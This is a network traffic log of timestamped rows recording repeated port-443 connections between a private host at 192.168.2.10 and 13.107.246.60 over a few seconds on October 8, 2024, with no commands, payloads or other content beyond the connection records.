Oct 8, 2024 03:24:44.054004908 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.056955099 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.057018042 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.057096004 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.057257891 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.057274103 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.163403988 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.164062023 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.164096117 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.164621115 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.164627075 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.209729910 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.210263014 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.210272074 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.210705996 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.210709095 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.263315916 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.263464928 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.263528109 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.263619900 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.263619900 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.263654947 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.263654947 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.263673067 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.263679981 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.266891956 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.266938925 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.267002106 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.267147064 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.267159939 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.322278023 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.322360992 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.322406054 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.322690964 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.322714090 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.322726011 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.322731972 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.326263905 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.326297045 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.326364994 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.326703072 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.326715946 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.383060932 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.383631945 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.383644104 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.384494066 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.384499073 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.486407042 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.486814022 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.486860991 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.486895084 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.486924887 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.486983061 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.486996889 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.487011909 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.487015963 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.489739895 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.489794970 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.489869118 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.490000010 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.490012884 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.540962934 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.541630983 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.541645050 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.542066097 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.542069912 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.640219927 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.640415907 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.640638113 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643562078 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643563986 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643563986 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643584013 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.643589020 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.643594027 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.643687963 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643851042 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.643862009 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.719489098 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.720102072 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.720140934 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.720448017 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.720453978 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.817662001 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.817745924 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.817789078 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.817934990 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.818171978 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.818198919 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.818208933 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.818214893 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.821089029 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.821116924 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.821222067 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.821388960 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.821398973 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.914819002 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.915267944 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.915293932 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.915713072 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.915719032 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.998111963 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.998661041 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.998675108 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:44.999079943 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:44.999087095 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.021161079 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.021271944 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.021334887 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.021425962 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.021447897 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.021477938 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.021485090 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.023938894 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.024034023 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.024127960 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.024282932 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.024317980 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.098588943 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.098807096 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.098889112 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.098959923 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.098978043 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.098989010 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.098994017 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.101475000 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.101509094 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.101576090 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.101722002 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.101733923 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.192311049 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.192950010 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.192987919 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.193384886 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.193396091 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.296824932 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.297300100 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.297316074 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.297893047 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.297897100 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.297998905 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.298247099 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.298309088 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.298362017 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.298362017 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.298393011 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.298414946 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.301028013 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.301054001 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.301114082 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.301248074 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.301256895 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.408659935 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.410057068 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.410104036 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.410121918 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.410171032 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.411535025 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.411544085 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.411572933 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.411578894 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.415426970 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.415452003 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.415507078 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.415999889 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.416012049 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.493897915 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.494348049 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.494363070 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.494748116 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.494752884 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.593211889 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.593302011 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.593357086 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.593513966 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.593528032 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.593538046 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.593542099 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.595930099 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.595974922 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.596045017 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.596296072 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.596309900 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.619287014 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.619628906 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.619702101 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.620006084 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.620022058 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.722960949 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.723020077 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.723193884 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.723304987 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.723304987 CEST	49947	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.723355055 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.723407030 CEST	443	49947	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.725863934 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.725897074 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.725975990 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.726119995 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.726134062 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.822105885 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.822555065 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.822571993 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.823021889 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.823025942 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.927294970 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.927352905 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.927504063 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.927522898 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.927963972 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.927978992 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.927987099 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.928323030 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.928400993 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.928451061 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.930563927 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.930598974 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.930687904 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.930830956 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.930839062 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.989213943 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.989646912 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.989660025 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:45.990048885 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:45.990056038 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.006175041 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.006506920 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.006519079 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.006884098 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.006886959 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.091490984 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.091550112 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.091608047 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.091856003 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.091869116 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.091881990 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.091886997 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.094780922 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.094805956 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.094877958 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.095046043 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.095056057 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.103899002 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.103951931 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.104013920 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.104027987 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.104127884 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.104140997 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.104146957 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.104480028 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.104567051 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.104629040 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.106116056 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.106168032 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.106242895 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.106355906 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.106374979 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.294756889 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.295284986 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.295335054 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.295769930 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.295774937 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.374885082 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.375523090 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.375547886 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.376096010 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.376101971 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408047915 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408113956 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408262968 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.408289909 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408308983 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408353090 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.408466101 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.408490896 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.408499002 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.408504009 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.410758018 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.410834074 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.410913944 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.411096096 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.411129951 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.475054026 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.475070953 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.475127935 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.475146055 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.475656033 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.476170063 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.476212978 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.476223946 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.476223946 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.476232052 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.476238012 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.478653908 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.478683949 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.478754044 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.478878975 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.478887081 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.595813036 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.596662045 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.596684933 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.597184896 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.597191095 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.734317064 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.734338045 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.734397888 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.734467983 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.734503984 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.734761953 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.734761953 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.734775066 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.734785080 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.737884998 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.737926006 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.738028049 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.738178015 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.738187075 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.788881063 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.790895939 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.790915012 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.791326046 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.791332006 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.793561935 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.798247099 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.798258066 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.798636913 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.798640013 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.898396969 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.898472071 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.898767948 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.898966074 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.898992062 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.899003983 CEST	49955	443	192.168.2.10	13.107.246.60
